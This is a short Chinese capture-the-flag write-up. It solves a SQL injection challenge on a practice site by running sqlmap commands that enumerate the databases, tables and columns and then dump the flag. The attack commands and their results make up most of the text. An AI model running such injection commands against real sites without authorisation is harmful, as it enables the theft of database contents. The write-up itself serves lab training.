本此练习用到了sqlmap注入工具,可自行上网搜索。
手工注入测试
正确的话,只会回显Hello!,没有头绪,无奈之下只能借助工具来注入了。
本文使用的是sqlmap注入工具。
查看数据库
Sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs
可以看到,查到的数据库有三个分别是information_schema、test、web1;
查看某一数据库的表
Sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 -D web1 --tables
查询web1数据库,可以找到flag、web_1两个表;
查看某一数据库的表的列
Sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 -D web1 -T flag --columns
查询flag的表内有flag、id两列;
查看某一数据库的表的列的内容
Sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 -D web1 -T flag -C flag --dump
即可得到flag。
查询的过程,只把查到flag的路径表示出来了,试错的过程类似,所以就不做具体展示了。